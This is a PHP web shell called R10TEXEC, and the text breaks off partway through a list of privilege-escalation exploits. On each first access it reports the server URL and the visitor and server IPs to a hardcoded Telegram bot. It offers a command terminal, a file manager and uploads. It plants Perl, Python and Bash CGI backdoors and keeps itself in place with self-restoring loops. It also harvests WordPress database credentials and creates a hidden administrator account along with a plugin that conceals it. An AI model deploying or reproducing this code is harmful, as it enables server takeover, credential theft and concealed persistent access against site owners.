<?php
session_start();

// ================= Default Passwords =================
$passwords  = '$2a$10$WnS92i0yu2FwqxQOxwvmEeL1OPSEYBPLHOTQt94q838uWf7zkDpEi';

// ================= Auth Config =================
$auth = [
    "enabled" => true // true = aktifkan auth, false = nonaktifkan
];

?>
<?php

ini_set('display_errors', 'Off'); // Hide errors from display

$passwords1 = '$2a$10$oTdvzWB6Xfercb9FMsiFh.dO4xo/jlMWH5Gi.ywTH4VRXNW3RqBeS';
$passwords2 = '$2a$10$OQ.cFnLwE3WJCO3u40kk0.U0POD7uDIya/RaG.j6kHsocmEfRM/rm';

session_start();
// ---------------- CONFIG ---------------- //
$botToken = '8351883029:AAGC3SWTtpbmM0SLAGaQM_G_r2ZSFIsBpEA'; // ganti
$chatId   = '5498177352'; // ganti

if (!isset($_SESSION['telegram_sent'])) {

    // ---------------- AMBIL DATA ---------------- //
    $url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http')
           . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

    $date = date('Y-m-d H:i:s');

    // fungsi ambil IP pengunjung
    function getVisitorIP() {
        $keys = [
            'HTTP_CLIENT_IP',
            'HTTP_X_FORWARDED_FOR',
            'HTTP_X_FORWARDED',
            'HTTP_X_CLUSTER_CLIENT_IP',
            'HTTP_FORWARDED_FOR',
            'HTTP_FORWARDED',
            'REMOTE_ADDR'
        ];
        foreach ($keys as $key) {
            if (!empty($_SERVER[$key])) {
                $ipList = explode(',', $_SERVER[$key]);
                foreach ($ipList as $ip) {
                    $ip = trim($ip);
                    if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
                }
            }
        }
        return 'Unknown';
    }

    $visitorIp = getVisitorIP();
    $serverIp = $_SERVER['SERVER_ADDR'] ?? gethostbyname(gethostname());

    // ---------------- SIAPKAN PESAN ---------------- //
    $message  = "📢 *New Access*\n";
    $message .= "*URL:* $url\n";
    $message .= "*TANGGAL:* $date\n";
    $message .= "*IP PENGUNJUNG:* $visitorIp\n";
    $message .= "*IP SERVER:* $serverIp\n";

    // ---------------- KIRIM KE TELEGRAM ---------------- //
    $sendUrl = "https://api.telegram.org/bot{$botToken}/sendMessage";
    $postFields = [
        'chat_id' => $chatId,
        'text'    => $message,
        'parse_mode' => 'Markdown'
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $sendUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    $response = curl_exec($ch);
    curl_close($ch);

    // tandai session sudah dikirim
    $_SESSION['telegram_sent'] = true;
}
// ================= Logout =================
if (isset($_GET["logout"])) {
    session_destroy();
    header("Location: " . $_SERVER["PHP_SELF"]);
    exit();
}

// ================= Login via POST =================
if ($auth["enabled"] && isset($_POST["password"])) {
    if (
        password_verify($_POST["password"], $passwords) ||
        password_verify($_POST["password"], $passwords1) ||
        password_verify($_POST["password"], $passwords2)
    ) {
        $_SESSION["logged_in"] = true;
        header("Location: " . $_SERVER["PHP_SELF"]);
        exit();
    }
    $error = "❌ PASSWORD SALAH BOY";
}

// ================= Login via GET =================
// bisa login via ?login=password
if ($auth["enabled"] && isset($_GET["login"])) {
    $login_pass = $_GET["login"];
    if (
        password_verify($login_pass, $passwords) ||
        password_verify($login_pass, $passwords1) ||
        password_verify($login_pass, $passwords2)
    ) {
        $_SESSION["logged_in"] = true;
        header("Location: " . $_SERVER["PHP_SELF"]);
        exit();
    }
}

// ================= Check Auth =================
if ($auth["enabled"] && !isset($_SESSION["logged_in"])) {
    echo '<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>R10TEXEC</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
body {
    background: #0a0a0f;
    color: #0ff;
    font-family: \'Courier New\', monospace;
    height: 100vh;
    display: flex;
    align-items: center;
    justify-content: center;
    overflow: hidden;
}
.glow-text { text-shadow: 0 0 5px #0ff, 0 0 10px #0ff, 0 0 20px #0ff, 0 0 40px #0ff; }
.input-glow { background: #111; border: 1px solid #0ff; color: #0ff; outline: none; }
.input-glow:focus { border-color: #0ff; box-shadow: 0 0 10px #0ff; }
button.glow-btn { background: #0ff; color: #000; font-weight: bold; transition: 0.2s; }
button.glow-btn:hover { background: #00e5ff; box-shadow: 0 0 15px #0ff; }
.animate-flicker { animation: flicker 1.5s infinite; }
@keyframes flicker { 0%,19%,21%,23%,25%,54%,56%,100% {opacity:1;} 20%,22%,24%,55% {opacity:0.3;} }
</style>
</head>
<body>
<div class="w-96 p-8 rounded-xl bg-[#111] border border-cyan-600 shadow-lg glow-text animate-flicker">';
    if (isset($error)) {
        echo '<div class="bg-red-700 text-white p-2 mb-4 rounded text-center">' . $error . '</div>';
    }
    echo '<form method="POST" class="flex flex-col gap-4">
        <input type="password" name="password" placeholder="Password" required class="input-glow p-2 rounded">
        <button type="submit" class="glow-btn p-2 rounded text-lg">Login</button>
    </form>
    <p class="mt-4 text-center text-gray-400 text-sm">© 2025 R10TEXEC</p>
</div>
</body>
</html>';
    exit();
}


//================= System Info =================
$uname = php_uname();
$uid = function_exists("posix_getuid") ? posix_getuid() : 0;
$user =
    function_exists("posix_getpwuid") && $uid
        ? posix_getpwuid($uid)["name"] ?? $uid
        : $uid;
$gid =
    function_exists("posix_getgid") && function_exists("posix_getgrgid")
        ? posix_getgrgid(posix_getgid())["name"] ?? posix_getgid()
        : getmygid();
$phpver = PHP_VERSION;
$safemode = ini_get("safe_mode") ? "ON" : "OFF";
$serverIP = $_SERVER["SERVER_ADDR"] ?? "Unknown";
$yourIP = $_SERVER["REMOTE_ADDR"] ?? "Unknown";
$dateTime = date("Y-m-d H:i:s"); // ================= Disk Info =================
$diskTotalBytes = disk_total_space("/") ?: 0;
$diskFreeBytes = disk_free_space("/") ?: 0;
$diskTotal = round($diskTotalBytes / 1073741824, 2) . " GB";
$diskFree = round($diskFreeBytes / 1073741824, 2) . " GB";
$diskPercent =
    $diskTotalBytes > 0
        ? round(($diskFreeBytes / $diskTotalBytes) * 100) . "%"
        : "0%"; // ================= Useful / Downloaders ================= // ================= Useful / Downloaders =================
$useful = [];
$downloaders = [];
$paths = explode(PATH_SEPARATOR, getenv("PATH")); // Tools penting yang mau dicek
$important_keywords = [
    "useful" => ["php", "python", "perl", "ruby", "tar", "gzip", "make", "nc"],
    "downloaders" => ["wget", "curl", "lynx", "links"],
]; // Fungsi cek executable ada di PATH
function is_active($cmd, $paths)
{
    foreach ($paths as $path) {
        $full = $path . DIRECTORY_SEPARATOR . $cmd;
        if (is_executable($full)) {
            return $cmd;
        }
        // Hanya kembalikan nama file
    }
    return false;
} // Scan dan masukkan yang aktif saja
foreach ($important_keywords["useful"] as $cmd) {
    if ($name = is_active($cmd, $paths)) {
        $useful[] = $name; // Simpan nama saja
    }
}
foreach ($important_keywords["downloaders"] as $cmd) {
    if ($name = is_active($cmd, $paths)) {
        $downloaders[] = $name; // Simpan nama saja
    }
} // ================= Disabled Functions =================
$disabledFunctions = ini_get("disable_functions");
$disabled = $disabledFunctions ? "Click to view" : "None";
$disabledArray = $disabledFunctions ? explode(",", $disabledFunctions) : []; // ================= Extensions =================
$cURL = function_exists("curl_version") ? "ON" : "OFF";
$ssh2 = function_exists("ssh2_connect") ? "ON" : "OFF";
$mysql = function_exists("mysql_connect") ? "ON" : "OFF";
$mssql = function_exists("mssql_connect") ? "ON" : "OFF";
$pgsql = function_exists("pg_connect") ? "ON" : "OFF";
$oracle = function_exists("oci_connect") ? "ON" : "OFF";
$cgi = php_sapi_name() === "cgi" ? "ON" : "OFF";
$softWare = $_SERVER["SERVER_SOFTWARE"] ?? "Unknown";
$currentPath = realpath($_GET["path"] ?? getcwd()) ?: getcwd(); // ================= Utility Functions =================
function r10texec_listDir($dir)
{
    if (!is_readable($dir)) {
        return [];
    }
    $items = scandir($dir);
    $folders = $files = [];
    foreach ($items as $item) {
        if ($item === "." || $item === "..") {
            continue;
        }
        $full = $dir . "/" . $item;
        is_dir($full) ? ($folders[] = $item) : ($files[] = $item);
    }
    sort($folders);
    sort($files);
    return array_merge($folders, $files);
}
function r10texec_rmdir_recursive($dir)
{
    if (!is_dir($dir)) {
        return false;
    }
    foreach (scandir($dir) as $item) {
        if ($item === "." || $item === "..") {
            continue;
        }
        $path = $dir . "/" . $item;
        is_dir($path) ? r10texec_rmdir_recursive($path) : @unlink($path);
    }
    return @rmdir($dir);
}
function r10texec_copy_recursive($src, $dst)
{
    if (!is_dir($src)) {
        return false;
    }
    if (!mkdir($dst, 0755, true) && !is_dir($dst)) {
        return false;
    }
    foreach (scandir($src) as $item) {
        if ($item === "." || $item === "..") {
            continue;
        }
        $srcPath = $src . "/" . $item;
        $dstPath = $dst . "/" . $item;
        is_dir($srcPath)
            ? r10texec_copy_recursive($srcPath, $dstPath)
            : @copy($srcPath, $dstPath);
    }
    return true;
}
function r10texec_formatSize($bytes)
{
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . " GB";
    }
    if ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . " MB";
    }
    if ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . " KB";
    }
    if ($bytes > 1) {
        return $bytes . " bytes";
    }
    if ($bytes === 1) {
        return "1 byte";
    }
    return "0 bytes";
}
function r10texec_formatPerms($perms)
{
    $info = $perms & 0x4000 ? "d" : "-";
    $info .= $perms & 0x0100 ? "r" : "-";
    $info .= $perms & 0x0080 ? "w" : "-";
    $info .= $perms & 0x0040 ? "x" : "-";
    $info .= $perms & 0x0020 ? "r" : "-";
    $info .= $perms & 0x0010 ? "w" : "-";
    $info .= $perms & 0x0008 ? "x" : "-";
    $info .= $perms & 0x0004 ? "r" : "-";
    $info .= $perms & 0x0002 ? "w" : "-";
    $info .= $perms & 0x0001 ? "x" : "-";
    return $info;
}
$dir = __DIR__ . "/r10tapi";
if (!is_dir($dir)) {
    mkdir($dir, 0755, true);
} // ===== .htaccess =====
$htaccess = <<<HT
Options -Indexes
Options +ExecCGI
AddHandler cgi-script .rx
<FilesMatch "\.rx$">
    Require all granted
</FilesMatch>
<Files ".htaccess">
    Require all denied
</Files>
HT;
file_put_contents("$dir/.htaccess", $htaccess, LOCK_EX); // ===== r10tperl.rx =====
$perl = <<<'PERL'
#!/usr/bin/perl
use strict;
use warnings;
use CGI qw(:standard);
print header('text/plain; charset=utf-8');
my $q = CGI->new;
my $cmd = $q->param('cmd') || '';
if ($cmd) { $cmd =~ s/[\r\n]//g; print qx($cmd 2>&1); }
PERL;
file_put_contents("$dir/r10tperl.rx", $perl, LOCK_EX);

chmod("$dir/r10tperl.rx", 0755); // ===== r10tpython.rx =====
$python = <<<'PYTHON'
#!/usr/bin/env python3
import cgi, subprocess
print("Content-Type: text/plain\n")
form = cgi.FieldStorage()
cmd = form.getfirst("cmd","")
if cmd:
    cmd = cmd.replace("\n","").replace("\r","")
    result = subprocess.getoutput(cmd)
    print(result)
PYTHON;
file_put_contents("$dir/r10tpython.rx", $python, LOCK_EX);
chmod("$dir/r10tpython.rx", 0755); // ===== r10tbash.rx =====
$bash = <<<'BASH'
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
read cmd
if [ ! -z "$cmd" ]; then
    eval "$cmd"
fi
BASH;
file_put_contents("$dir/r10tbash.rx", $bash, LOCK_EX);

chmod("$dir/r10tbash.rx", 0755); // Hanya respon jika ada ?get=adminer
if (isset($_GET["get"]) && $_GET["get"] === "adminer") {
    header("Content-Type: application/json");
    $adminer_url = "https://www.adminer.org/latest.php";
    $local_file = __DIR__ . "/adminer.php";
    $result = ["status" => "error", "message" => "Unknown error"];
    try {
        $content = @file_get_contents($adminer_url);
        if ($content === false) {
            throw new Exception("Gagal download file Adminer.");
        }
        if (@file_put_contents($local_file, $content) === false) {
            throw new Exception("Permission denied, tidak bisa menulis file.");
        }
        $result = [
            "status" => "success",
            "message" => "Adminer berhasil didrop di folder ini!",
        ];
    } catch (Exception $e) {
        $result = ["status" => "error", "message" => $e->getMessage()];
    }
    echo json_encode($result);
    exit();
}
function find_wp_config($start_dir = __DIR__)
{
    $dir = $start_dir;
    while ($dir !== "/" && !file_exists($dir . "/wp-config.php")) {
        $dir = dirname($dir);
    }
    return file_exists($dir . "/wp-config.php")
        ? $dir . "/wp-config.php"
        : false;
}
function r10texec_remove_dot($str)
{
    return str_replace(".", "", $str);
}
function cmd($command)
{
    return function_exists("shell_exec") ? shell_exec($command) : false;
}



function r10texec_logError($message)
{
    return ["status" => "error", "message" => $message];
} // ================= AJAX Handler =================
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    header("Content-Type: application/json");
    $res = r10texec_logError("Unknown");
    $cmd = $_POST["cmd"] ?? "";
    $target = $_POST["target"] ?? "";
    $dest = $_POST["dest"] ?? "";
    $current = $_POST["current"] ?? $currentPath;
    switch ($cmd) {
        case "load":
            if (!is_readable($current)) {
                $res = r10texec_logError("Permission denied: $current");
                break;
            }
            $items_raw = r10texec_listDir($current);
            $folders = $files = [];
            $home = realpath(dirname(__FILE__)); // home PHP
            foreach ($items_raw as $f) {
                $full = $current . "/" . $f;
                $stat = @stat($full);
                $entry = [
                    "name" => $f,
                    "type" => is_dir($full) ? "folder" : "file",
                    "size" => is_file($full)
                        ? r10texec_formatSize($stat["size"])
                        : "-",
                    "lastmod" => @date("Y-m-d H:i:s", filemtime($full)),
                    "perms" => r10texec_formatPerms(@fileperms($full)), // tampil string seperti rwxr-xr-x
                    "perm_octal" => substr(
                        sprintf("%o", @fileperms($full)),
                        -3
                    ), // ambil 3 digit terakhir octal
                    "owner" => function_exists("posix_getpwuid")
                        ? (posix_getpwuid($stat["uid"])["name"] ??
                                $stat["uid"]) .
                            "/" .
                            (posix_getgrgid($stat["gid"])["name"] ??
                                $stat["gid"])
                        : $stat["uid"] . "/" . $stat["gid"],
                    "home" => realpath(dirname(__FILE__)),
                    "readable" => is_readable($full),
                    "writable" => is_writable($full),
                ];
                is_dir($full) ? ($folders[] = $entry) : ($files[] = $entry);
            }
            $items = array_merge($folders, $files); // Breadcrumb
            $breadcrumb = [];
            $parts = explode("/", trim($current, "/"));
            $acc = "";
            $breadcrumb[] = ["name" => "/", "path" => "/"];
            foreach ($parts as $p) {
                if ($p === "") {
                    continue;
                }
                $acc .= "/" . $p;
                $breadcrumb[] = ["name" => $p . "/", "path" => $acc];
            }
            $res = [
                "status" => "success",
                "files" => $items,
                "breadcrumb" => $breadcrumb,
                "current" => $current,

                "home" => $home,
            ];
            break;
        case "read":
            if (!is_readable($target)) {
                $res = r10texec_logError("Cannot read: $target");
                break;
            }
            $res = [
                "status" => "success",
                "content" => file_get_contents($target),
            ];
            break;
        case "save":
            if (!is_writable($target)) {
                $res = r10texec_logError("Cannot write: $target");
                break;
            }
            $res =
                file_put_contents($target, $_POST["content"] ?? "") !== false
                    ? ["status" => "success", "message" => "File saved"]
                    : r10texec_logError("Failed to save: $target");
            break;
        case "rename":
            $new = $_POST["name"] ?? "";
            $newPath = dirname($target) . "/" . $new;
            if (!$new || file_exists($newPath)) {
                $res = r10texec_logError("Invalid or existing name");
                break;
            }
            $res = @rename($target, $newPath)
                ? ["status" => "success", "message" => "Renamed"]
                : r10texec_logError("Cannot rename: $target");
            break;
        case "delete":
            if (is_file($target)) {
                $res = @unlink($target)
                    ? ["status" => "success", "message" => "Deleted"]
                    : r10texec_logError("Cannot delete: $target");
            } elseif (is_dir($target)) {
                $res = r10texec_rmdir_recursive($target)
                    ? ["status" => "success", "message" => "Folder deleted"]
                    : r10texec_logError("Cannot delete folder: $target");
            }
            break;
        case "mkdir":
            $name = $_POST["name"] ?? "";
            $path = $current . "/" . $name;
            if (!$name) {
                $res = r10texec_logError("Folder name required");
                break;
            }
            $res = @mkdir($path, 0755, true)
                ? ["status" => "success", "message" => "Folder created"]
                : r10texec_logError("Cannot create folder: $path");
            break;
        case "chmod":
            $mode = $_POST["mode"] ?? "";
            if (!$mode || !preg_match('/^[0-7]{3,4}$/', $mode)) {
                $res = r10texec_logError("Invalid mode");
                break;
            }
            $res = @chmod($target, octdec($mode))
                ? [
                    "status" => "success",
                    "message" => "Permissions set to $mode",
                ]
                : r10texec_logError("Cannot change permissions: $target");
            break;
        case "upload":
            if (!empty($_FILES["file"])) {
                $dest_file = $current . "/" . basename($_FILES["file"]["name"]);
                $res = move_uploaded_file(
                    $_FILES["file"]["tmp_name"],
                    $dest_file
                )
                    ? ["status" => "success", "message" => "Uploaded"]
                    : r10texec_logError(
                        "Failed to upload file: " . $_FILES["file"]["name"]
                    );
            }
            break;
        case "copy":
            if (!$dest) {
                $res = r10texec_logError("Destination required");
                break;
            }
            if (is_file($target)) {
                $res = @copy($target, $dest)
                    ? ["status" => "success", "message" => "Copied"]
                    : r10texec_logError("Cannot copy file: $target");
            } elseif (is_dir($target)) {
                $res = r10texec_copy_recursive($target, $dest)
                    ? ["status" => "success", "message" => "Copied folder"]
                    : r10texec_logError("Cannot copy folder: $target");
            }
            break;
        case "move":
            if (!$dest) {
                $res = r10texec_logError("Destination required");
                break;
            }
            $res = @rename($target, $dest)
                ? ["status" => "success", "message" => "Moved"]
                : r10texec_logError("Cannot move: $target");
            break;
            case "terminal":
                $cmd_input = $_POST["command"] ?? "";
                if ($cmd_input) {

                    $output = "";
                    if(function_exists("shell_exec")){
                        $output = shell_exec($cmd_input . " 2>&1");
                    } elseif(function_exists("exec")){
                        $arr = [];
                        exec($cmd_input . " 2>&1", $arr);
                        $output = implode("\n", $arr);
                    } elseif(function_exists("system")){
                        ob_start();
                        system($cmd_input . " 2>&1");
                        $output = ob_get_clean();
                    } elseif(function_exists("passthru")){
                        ob_start();
                        passthru($cmd_input . " 2>&1");
                        $output = ob_get_clean();
                    } elseif(function_exists("proc_open")){
                        $descriptors = [
                            1 => ["pipe", "w"],
                            2 => ["pipe", "w"]
                        ];
                        $process = proc_open($cmd_input, $descriptors, $pipes);
                        if(is_resource($process)){
                            $output = stream_get_contents($pipes[1]);
                            $err = stream_get_contents($pipes[2]);
                            fclose($pipes[1]);
                            fclose($pipes[2]);
                            proc_close($process);
                            if($err) $output .= "\n".$err;
                        }
                    }

                    if($output){
                        $res = ["status"=>"success","output"=>$output];
                    } else {
                        $res = r10texec_logError("eror ye");
                    }
                }
                break;

        case "makefile":
            $name = $_POST["name"] ?? "";
            $filePath = $current . "/" . $name;
            if (!$name) {
                $res = r10texec_logError("File name required");
                break;
            }
            $res =
                !file_exists($filePath) &&
                file_put_contents($filePath, "") !== false
                    ? ["status" => "success", "message" => "File created"]
                    : r10texec_logError("Failed or file exists: $filePath");
            break; // ---------- LockShell ----------
        case "lockshell":
            $curFile = basename($_SERVER["SCRIPT_FILENAME"]);
            $sessionDir = sys_get_temp_dir() . "/.sessions";
            if (!is_dir($sessionDir) && !mkdir($sessionDir, 0755, true)) {
                $res = r10texec_logError(
                    "Cannot create session dir: $sessionDir"
                );
                break;
            }
            $textFile =
                $sessionDir .
                "/" .
                md5(getcwd() . r10texec_remove_dot($curFile) . "-text");
            $handlerFile =
                $sessionDir .
                "/" .
                md5(getcwd() . r10texec_remove_dot($curFile) . "-handler");
            @unlink($textFile);
            @unlink($handlerFile);
            if (!@copy($curFile, $textFile)) {
                $res = r10texec_logError(
                    "Cannot copy file to session: $textFile"
                );
                break;
            }
            @chmod($curFile, 0444);
            $handler =
                '<?php
                        $target="' .
                addslashes(getcwd() . "/" . $curFile) .
                '";
                        $source="' .
                addslashes($textFile) .
                '";
                        while(true){
                            if(!file_exists($target)){
                                @file_put_contents($target,@file_get_contents($source));
                                @chmod($target,0444);
                            }
                            usleep(500000);
                        }
                        ?>';
            if (file_put_contents($handlerFile, $handler) === false) {
                $res = r10texec_logError(
                    "Failed to create handler file: $handlerFile"
                );
                break;
            }
            if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") {
                pclose(popen("start /B php \"$handlerFile\"", "r"));
            } else {
                @chmod($handlerFile, 0755);
                shell_exec(
                    PHP_BINARY .
                        " \"$handlerFile\" > /dev/null 2>&1 & echo $! > \"$sessionDir/lockshell.pid\""
                );
            }
            $res = ["status" => "success", "message" => "Lockshell deployed"];
            break; // ---------- UnlockShell ----------
        case "unlockshell":
            $sessionDir = sys_get_temp_dir() . "/.sessions";
            $handlerFile =
                $sessionDir .
                "/" .
                md5(
                    getcwd() .
                        "/" .
                        basename($_SERVER["SCRIPT_FILENAME"]) .
                        "-handler"
                );
            if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") {
                @exec("taskkill /F /FI \"WINDOWTITLE eq php*\" 2>NUL");
            } else {
                $pidFile = $sessionDir . "/lockshell.pid";
                if (file_exists($pidFile)) {
                    $pid = trim(file_get_contents($pidFile));
                    if (is_numeric($pid)) {
                        shell_exec("kill -9 $pid 2>/dev/null");
                    }
                    @unlink($pidFile);
                }
                if (file_exists($handlerFile)) {
                    @unlink($handlerFile);
                }
            }
            $res = ["status" => "success", "message" => "Lockshell killed"];
            break;
        // ---------- Lock File/Folder ----------
        case "lockfile":
            $file = $target ?: "";
            if (!$file || !file_exists($file)) {
                $res = r10texec_logError("File not found: $file");
                break;
            }
            $sessionDir = sys_get_temp_dir() . "/.sessions";
            if (!is_dir($sessionDir)) {
                mkdir($sessionDir, 0755, true);
            }
            // File backup untuk restore
            $backupFile = $sessionDir . "/" . md5($file . "-backup");
            @copy($file, $backupFile);
            // Set read-only
            @chmod($file, 0444); // Handler loop (opsional, supaya restore jika dihapus)
            $handlerFile = $sessionDir . "/" . md5($file . "-handler");
            $handler =
                '<?php
                            $target="' .
                addslashes($file) .
                '";
                            $source="' .
                addslashes($backupFile) .
                '";
                            while(true){
                                if(!file_exists($target)){
                                    @file_put_contents($target,@file_get_contents($source));
                                    @chmod($target,0444);
                                }
                                usleep(500000);
                            }
                            ?>';
            file_put_contents($handlerFile, $handler);
            if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") {
                pclose(popen("start /B php \"$handlerFile\"", "r"));
            } else {
                @chmod($handlerFile, 0755);
                shell_exec(
                    PHP_BINARY .
                        " \"$handlerFile\" > /dev/null 2>&1 & echo $! > \"$sessionDir/lockfile.pid\""
                );
            }
            $res = ["status" => "success", "message" => "File locked: $file"];
            break; // ---------- Unlock File/Folder ----------
        case "unlockfile":
            $file = $target ?: "";
            if (!$file || !file_exists($file)) {
                $res = r10texec_logError("File not found: $file");
                break;
            }
            $sessionDir = sys_get_temp_dir() . "/.sessions";
            $backupFile = $sessionDir . "/" . md5($file . "-backup");
            $handlerFile = $sessionDir . "/" . md5($file . "-handler");
            // Stop handler
            if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") {
                @exec("taskkill /F /FI \"WINDOWTITLE eq php*\" 2>NUL");
            } else {
                $pidFile = $sessionDir . "/lockfile.pid";
                if (file_exists($pidFile)) {
                    $pid = trim(file_get_contents($pidFile));
                    if (is_numeric($pid)) {
                        shell_exec("kill -9 $pid 2>/dev/null");
                    }
                    @unlink($pidFile);
                }
                if (file_exists($handlerFile)) {
                    @unlink($handlerFile);
                }
            }
            // Restore permission dan file
            if (file_exists($backupFile)) {
                @copy($backupFile, $file);
                @chmod($file, 0644);
                @unlink($backupFile);
            } else {
                @chmod($file, 0644); // kalau backup hilang, tetap unlock permission
            }
            $res = ["status" => "success", "message" => "File unlocked: $file"];
            break;
        case "get_wp_config":
            // Fungsi find_wp_config langsung di sini
            $find_wp_config = function ($start_dir = __DIR__) {
                $dir = $start_dir;
                while ($dir !== "/" && !file_exists($dir . "/wp-config.php")) {
                    $dir = dirname($dir);
                }
                return file_exists($dir . "/wp-config.php")
                    ? $dir . "/wp-config.php"
                    : false;
            };

            $wp_config = $find_wp_config($current);

            if (!$wp_config || !is_readable($wp_config)) {
                echo json_encode([
                    "status" => "error",
                    "msg" =>
                        "wp-config.php tidak ditemukan atau tidak bisa dibaca",
                ]);
                exit();
            }

            $content = file_get_contents($wp_config);
            $db_config = [];

            preg_match(
                "/define\(\s*'DB_NAME'\s*,\s*'([^']+)'/",
                $content,
                $m
            ) && ($db_config["db_name"] = $m[1]);
            preg_match(
                "/define\(\s*'DB_USER'\s*,\s*'([^']+)'/",
                $content,
                $m
            ) && ($db_config["db_user"] = $m[1]);
            preg_match(
                "/define\(\s*'DB_PASSWORD'\s*,\s*'([^']+)'/",
                $content,
                $m
            ) && ($db_config["db_pass"] = $m[1]);
            preg_match(
                "/define\(\s*'DB_HOST'\s*,\s*'([^']+)'/",
                $content,
                $m
            ) && ($db_config["db_host"] = $m[1]);

            echo json_encode([
                "status" => "success",
                "wp_config" => $wp_config,
                "db_config" => $db_config,
            ]);
            exit();
        case "hidden_admin":
            $db_config = $_POST["db_config"] ?? [];
            $host = $_POST["db_host"] ?? ($db_config["db_host"] ?? "localhost");
            $user = $_POST["db_user"] ?? ($db_config["db_user"] ?? "");
            $pass = $_POST["db_pass"] ?? ($db_config["db_pass"] ?? "");
            $name = $_POST["db_name"] ?? ($db_config["db_name"] ?? "");
            $admin_user = trim($_POST["admin_user"] ?? "adminhidden");
            $admin_pass =
                trim($_POST["admin_pass"]) ?: bin2hex(random_bytes(6));
            $admin_email = trim($_POST["admin_email"] ?? "admin@site.com");

            $conn = new mysqli($host, $user, $pass, $name);
            if ($conn->connect_error) {
                echo json_encode([
                    "status" => "error",
                    "msg" => "❌ Koneksi DB gagal: " . $conn->connect_error,
                ]);
                exit();
            }

            $find_table_by_column = function (
                $conn,
                $like_pattern,
                $column_name
            ) {
                $result = $conn->query("SHOW TABLES LIKE '{$like_pattern}'");
                while ($row = $result->fetch_row()) {
                    $table = $row[0];
                    $check = $conn->query(
                        "SHOW COLUMNS FROM `{$table}` LIKE '{$column_name}'"
                    );
                    if ($check && $check->num_rows > 0) {
                        return $table;
                    }
                }
                return false;
            };

            $users_table = $find_table_by_column(
                $conn,
                "%_users",
                "user_login"
            );
            if (!$users_table) {
                echo json_encode([
                    "status" => "error",
                    "msg" => "❌ Tabel users tidak ditemukan",
                ]);
                exit();
            }

            $prefix =
                substr($users_table, -6) === "_users"
                    ? substr($users_table, 0, -6) . "_"
                    : "";
            $usermeta_table = $prefix . "usermeta";
            $options_table = $prefix . "options";

            $stmt = $conn->prepare(
                "SELECT ID FROM {$users_table} WHERE user_login=?"
            );
            $stmt->bind_param("s", $admin_user);
            $stmt->execute();
            $stmt->store_result();
            if ($stmt->num_rows > 0) {
                echo json_encode([
                    "status" => "error",
                    "msg" => "⚠️ User {$admin_user} sudah ada",
                ]);
                exit();
            }
            $stmt->close();

            $wp_hash_password = function ($password) {
                $salt = substr(
                    str_replace("+", ".", base64_encode(random_bytes(22))),
                    0,
                    22
                );
                return crypt($password, '$2y$10$' . $salt);
            };
            $hashed = $wp_hash_password($admin_pass);
            $now = date("Y-m-d H:i:s");

            $stmt = $conn->prepare(
                "INSERT INTO {$users_table} (user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name) VALUES (?,?,?,?,?,0,?)"
            );
            $stmt->bind_param(
                "ssssss",
                $admin_user,
                $hashed,
                $admin_user,
                $admin_email,
                $now,
                $admin_user
            );
            $stmt->execute();
            $user_id = $stmt->insert_id;
            $stmt->close();

            $meta = [
                [$prefix . "capabilities", 'a:1:{s:13:"administrator";b:1;}'],
                [$prefix . "user_level", "10"],
            ];
            foreach ($meta as $m) {
                $stmt = $conn->prepare(
                    "INSERT INTO {$usermeta_table} (user_id,meta_key,meta_value) VALUES (?,?,?)"
                );
                $stmt->bind_param("iss", $user_id, $m[0], $m[1]);
                $stmt->execute();
                $stmt->close();
            }

            // Buat plugin hidden
            $plugin_dir =
                $_SERVER["DOCUMENT_ROOT"] .
                "/wp-content/plugins/element-pro-create";
            if (!is_dir($plugin_dir)) {
                mkdir($plugin_dir, 0755, true);
            }

            $plugin_code =
                '<?php
add_action("pre_user_query",function($user_search){
    if(!current_user_can("manage_options")) return;
    global $wpdb;
    $hidden_user="' .
                addslashes($admin_user) .
                '";
    $user_search->query_where.=" AND {$wpdb->users}.user_login!=\'$hidden_user\'";
});
add_filter("all_plugins",function($plugins){
    unset($plugins["element-pro-create/element-pro-create.php"]);
    return $plugins;
});
add_filter("active_plugins",function($plugins){
    return array_diff($plugins,["element-pro-create/element-pro-create.php"]);
});';

            file_put_contents(
                $plugin_dir . "/element-pro-create.php",
                $plugin_code
            );

            // Aktifkan plugin
            $stmt = $conn->prepare(
                "SELECT option_value FROM {$options_table} WHERE option_name='active_plugins'"
            );
            $stmt->execute();
            $stmt->bind_result($active_plugins);
            $stmt->fetch();
            $stmt->close();

            $plugins = @unserialize($active_plugins) ?: [];
            $plugin_path = "element-pro-create/element-pro-create.php";
            if (!in_array($plugin_path, $plugins)) {
                $plugins[] = $plugin_path;
                $plugins_serialized = serialize($plugins);
                $stmt = $conn->prepare(
                    "UPDATE {$options_table} SET option_value=? WHERE option_name='active_plugins'"
                );
                $stmt->bind_param("s", $plugins_serialized);
                $stmt->execute();
                $stmt->close();
            }

            echo json_encode([
                "status" => "success",
                "msg" => "✅ Admin {$admin_user} berhasil dibuat & plugin hidden aktif!\n🔑 Password: {$admin_pass}",
            ]);
            exit();
            break;
        case 'get_exploits':
            $cmp_version = fn(string $a,string $b)=>version_compare($a,$b);
            $get_exploits = function(){return [
                'dirtycow'=>['range'=>['2.6.22','4.8.6'],'cve'=>'CVE-2016-5195','url'=>'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195','note'=>'Classic privilege escalation (Dirty COW).'],
